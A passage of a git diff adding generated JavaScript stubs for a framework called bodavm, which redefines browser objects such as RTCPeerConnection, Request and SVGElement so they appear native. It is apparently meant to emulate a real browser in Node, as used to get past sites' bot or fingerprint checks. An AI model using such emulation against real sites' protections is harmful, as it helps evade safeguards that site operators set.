+bodavm.toolsFunc.defineProperty('RTCPeerConnection', "createDTMFSender", {configurable:true, enumerable:true, writable:true, value:function createDTMFSender (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "createDTMFSender", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "createDataChannel", {configurable:true, enumerable:true, writable:true, value:function createDataChannel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "createDataChannel", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "createOffer", {configurable:true, enumerable:true, writable:true, value:function createOffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "createOffer", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getConfiguration", {configurable:true, enumerable:true, writable:true, value:function getConfiguration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getConfiguration", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getLocalStreams", {configurable:true, enumerable:true, writable:true, value:function getLocalStreams (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getLocalStreams", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getReceivers", {configurable:true, enumerable:true, writable:true, value:function getReceivers (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getReceivers", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getRemoteStreams", {configurable:true, enumerable:true, writable:true, value:function getRemoteStreams (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getRemoteStreams", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getSenders", {configurable:true, enumerable:true, writable:true, value:function getSenders (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getSenders", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getStats", {configurable:true, enumerable:true, writable:true, value:function getStats (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getStats", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getTransceivers", {configurable:true, enumerable:true, writable:true, value:function getTransceivers (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getTransceivers", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "removeStream", {configurable:true, enumerable:true, writable:true, value:function removeStream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "removeStream", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "removeTrack", {configurable:true, enumerable:true, writable:true, value:function removeTrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "removeTrack", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "restartIce", {configurable:true, enumerable:true, writable:true, value:function restartIce (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "restartIce", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "setConfiguration", {configurable:true, enumerable:true, writable:true, value:function setConfiguration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "setConfiguration", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "setLocalDescription", {configurable:true, enumerable:true, writable:true, value:function setLocalDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "setLocalDescription", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "setRemoteDescription", {configurable:true, enumerable:true, writable:true, value:function setRemoteDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "setRemoteDescription", arguments)}},'prototype'); + + +// bodavm.memory.globalobj['webkitRTCPeerConnection']=bodavm.memory.globalobj['RTCPeerConnection'] + diff --git a/env_xbb_lastest_jsdom/env copy/RTCSessionDescription.js b/env_xbb_lastest_jsdom/env copy/RTCSessionDescription.js new file mode 100644 index 00000000..85275991 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/RTCSessionDescription.js @@ -0,0 +1,6 @@ +// RTCSessionDescription对象 +bodavm.memory.globalobj['RTCSessionDescription'] = function RTCSessionDescription(){} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCSessionDescription'], "RTCSessionDescription"); +bodavm.toolsFunc.defineProperty('RTCSessionDescription', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSessionDescription'].prototype, "RTCSessionDescription", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSessionDescription'].prototype, "RTCSessionDescription", "type_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCSessionDescription', "sdp", {configurable:true, enumerable:true, get:function sdp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSessionDescription'].prototype, "RTCSessionDescription", "sdp_get", arguments)}, set:function sdp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSessionDescription'].prototype, "RTCSessionDescription", "sdp_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCSessionDescription', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSessionDescription'].prototype, "RTCSessionDescription", "toJSON", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/Request.js b/env_xbb_lastest_jsdom/env copy/Request.js new file mode 100644 index 00000000..7ca63cfa --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/Request.js @@ -0,0 +1,32 @@ +// Request对象 +bodavm.memory.globalobj['Request'] = function Request(){ + if (!(this instanceof Request)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Request': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; + if (arguments.length <1){ + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Request': 1 argument required, but only 0 present.")} + + } +// Request对象 +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Request'], "Request"); +bodavm.toolsFunc.defineProperty('Request', "method", {configurable:true, enumerable:true, get:function method (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "method_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Request', "url", {configurable:true, enumerable:true, get:function url (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "url_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Request', "headers", {configurable:true, enumerable:true, get:function headers (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "headers_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Request', "destination", {configurable:true, enumerable:true, get:function destination (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "destination_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Request', "referrer", {configurable:true, enumerable:true, get:function referrer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "referrer_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Request', "referrerPolicy", {configurable:true, enumerable:true, get:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "referrerPolicy_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Request', "mode", {configurable:true, enumerable:true, get:function mode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "mode_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Request', "credentials", {configurable:true, enumerable:true, get:function credentials (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "credentials_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Request', "cache", {configurable:true, enumerable:true, get:function cache (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "cache_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Request', "redirect", {configurable:true, enumerable:true, get:function redirect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "redirect_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Request', "integrity", {configurable:true, enumerable:true, get:function integrity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "integrity_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Request', "keepalive", {configurable:true, enumerable:true, get:function keepalive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "keepalive_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Request', "signal", {configurable:true, enumerable:true, get:function signal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "signal_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Request', "isHistoryNavigation", {configurable:true, enumerable:true, get:function isHistoryNavigation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "isHistoryNavigation_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Request', "bodyUsed", {configurable:true, enumerable:true, get:function bodyUsed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "bodyUsed_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Request', "arrayBuffer", {configurable:true, enumerable:true, writable:true, value:function arrayBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "arrayBuffer", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Request', "blob", {configurable:true, enumerable:true, writable:true, value:function blob (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "blob", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Request', "clone", {configurable:true, enumerable:true, writable:true, value:function clone (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "clone", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Request', "formData", {configurable:true, enumerable:true, writable:true, value:function formData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "formData", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Request', "json", {configurable:true, enumerable:true, writable:true, value:function json (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "json", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Request', "text", {configurable:true, enumerable:true, writable:true, value:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "text", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/SVGElement.js b/env_xbb_lastest_jsdom/env copy/SVGElement.js new file mode 100644 index 00000000..347f136c --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/SVGElement.js @@ -0,0 +1,109 @@ +// SVGElement对象 +bodavm.memory.globalobj['SVGElement'] = function SVGElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGElement'], "SVGElement"); +bodavm.memory.globalobj['SVGElement'].prototype.__proto__=bodavm.memory.globalobj['Element'].prototype; +bodavm.memory.globalobj['SVGElement'].__proto__=bodavm.memory.globalobj['Element']; +bodavm.toolsFunc.defineProperty('SVGElement', "className", {configurable:true, enumerable:true, get:function className (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "className_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ownerSVGElement", {configurable:true, enumerable:true, get:function ownerSVGElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ownerSVGElement_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "viewportElement", {configurable:true, enumerable:true, get:function viewportElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "viewportElement_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onbeforexrselect", {configurable:true, enumerable:true, get:function onbeforexrselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onbeforexrselect_get", arguments)}, set:function onbeforexrselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onbeforexrselect_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onabort", {configurable:true, enumerable:true, get:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onabort_get", arguments)}, set:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onabort_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onblur", {configurable:true, enumerable:true, get:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onblur_get", arguments)}, set:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onblur_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncancel", {configurable:true, enumerable:true, get:function oncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncancel_get", arguments)}, set:function oncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncancel_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncanplay", {configurable:true, enumerable:true, get:function oncanplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncanplay_get", arguments)}, set:function oncanplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncanplay_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncanplaythrough", {configurable:true, enumerable:true, get:function oncanplaythrough (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncanplaythrough_get", arguments)}, set:function oncanplaythrough (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncanplaythrough_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onchange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onclick", {configurable:true, enumerable:true, get:function onclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onclick_get", arguments)}, set:function onclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onclick_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onclose", {configurable:true, enumerable:true, get:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onclose_get", arguments)}, set:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onclose_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncontextlost", {configurable:true, enumerable:true, get:function oncontextlost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextlost_get", arguments)}, set:function oncontextlost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextlost_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncontextmenu", {configurable:true, enumerable:true, get:function oncontextmenu (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextmenu_get", arguments)}, set:function oncontextmenu (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextmenu_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncontextrestored", {configurable:true, enumerable:true, get:function oncontextrestored (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextrestored_get", arguments)}, set:function oncontextrestored (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextrestored_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncuechange", {configurable:true, enumerable:true, get:function oncuechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncuechange_get", arguments)}, set:function oncuechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncuechange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ondblclick", {configurable:true, enumerable:true, get:function ondblclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondblclick_get", arguments)}, set:function ondblclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondblclick_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ondrag", {configurable:true, enumerable:true, get:function ondrag (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondrag_get", arguments)}, set:function ondrag (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondrag_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ondragend", {configurable:true, enumerable:true, get:function ondragend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragend_get", arguments)}, set:function ondragend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragend_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ondragenter", {configurable:true, enumerable:true, get:function ondragenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragenter_get", arguments)}, set:function ondragenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragenter_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ondragleave", {configurable:true, enumerable:true, get:function ondragleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragleave_get", arguments)}, set:function ondragleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragleave_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ondragover", {configurable:true, enumerable:true, get:function ondragover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragover_get", arguments)}, set:function ondragover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragover_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ondragstart", {configurable:true, enumerable:true, get:function ondragstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragstart_get", arguments)}, set:function ondragstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragstart_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ondrop", {configurable:true, enumerable:true, get:function ondrop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondrop_get", arguments)}, set:function ondrop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondrop_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ondurationchange", {configurable:true, enumerable:true, get:function ondurationchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondurationchange_get", arguments)}, set:function ondurationchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondurationchange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onemptied", {configurable:true, enumerable:true, get:function onemptied (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onemptied_get", arguments)}, set:function onemptied (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onemptied_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onended", {configurable:true, enumerable:true, get:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onended_get", arguments)}, set:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onended_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onerror_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onfocus", {configurable:true, enumerable:true, get:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onfocus_get", arguments)}, set:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onfocus_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onformdata", {configurable:true, enumerable:true, get:function onformdata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onformdata_get", arguments)}, set:function onformdata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onformdata_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oninput", {configurable:true, enumerable:true, get:function oninput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oninput_get", arguments)}, set:function oninput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oninput_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oninvalid", {configurable:true, enumerable:true, get:function oninvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oninvalid_get", arguments)}, set:function oninvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oninvalid_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onkeydown", {configurable:true, enumerable:true, get:function onkeydown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeydown_get", arguments)}, set:function onkeydown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeydown_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onkeypress", {configurable:true, enumerable:true, get:function onkeypress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeypress_get", arguments)}, set:function onkeypress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeypress_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onkeyup", {configurable:true, enumerable:true, get:function onkeyup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeyup_get", arguments)}, set:function onkeyup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeyup_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onload", {configurable:true, enumerable:true, get:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onload_get", arguments)}, set:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onload_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onloadeddata", {configurable:true, enumerable:true, get:function onloadeddata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadeddata_get", arguments)}, set:function onloadeddata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadeddata_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onloadedmetadata", {configurable:true, enumerable:true, get:function onloadedmetadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadedmetadata_get", arguments)}, set:function onloadedmetadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadedmetadata_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onloadstart", {configurable:true, enumerable:true, get:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadstart_get", arguments)}, set:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadstart_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onmousedown", {configurable:true, enumerable:true, get:function onmousedown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousedown_get", arguments)}, set:function onmousedown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousedown_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onmouseenter", {configurable:true, enumerable:true, get:function onmouseenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseenter_get", arguments)}, set:function onmouseenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseenter_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onmouseleave", {configurable:true, enumerable:true, get:function onmouseleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseleave_get", arguments)}, set:function onmouseleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseleave_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onmousemove", {configurable:true, enumerable:true, get:function onmousemove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousemove_get", arguments)}, set:function onmousemove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousemove_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onmouseout", {configurable:true, enumerable:true, get:function onmouseout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseout_get", arguments)}, 